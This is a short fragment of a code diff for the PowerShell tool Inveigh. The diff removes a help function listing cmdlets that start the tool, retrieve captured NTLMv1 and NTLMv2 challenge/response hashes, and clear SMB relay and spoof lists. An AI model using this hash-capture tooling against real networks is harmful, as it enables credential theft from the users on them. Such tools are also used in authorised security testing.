+ Write-Output "Run Stop-Inveigh before running Clear-Inveigh"
+ }
}
}
-
-Function Get-InveighHelp
-{
- <#
- .SYNOPSIS
- Get-InveighHelp will cmdlet list.
- #>
- "-"*26 + "(Get-InveighHelp)" + "-"*26 | Write-Output
- write-output "Invoke-Inveigh - Start Inveigh with or without parameters"
- write-output "Get-Inveigh - Get queued console output"
- write-output "Get-InveighLog - Get log entries"
- write-output "Get-InveighNTLM - Get all captured challenge/response hashes"
- write-output "Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes"
- write-output "Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes"
- write-output "Get-InveighStats - Get captured challenge/response counts"
- write-output "Watch-Inveigh - Enable real time console output"
- write-output "Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists"
- write-output "Stop-Inveigh - Stop Inveigh"
- "-"*69 | Write-Output
-} \ No newline at end of file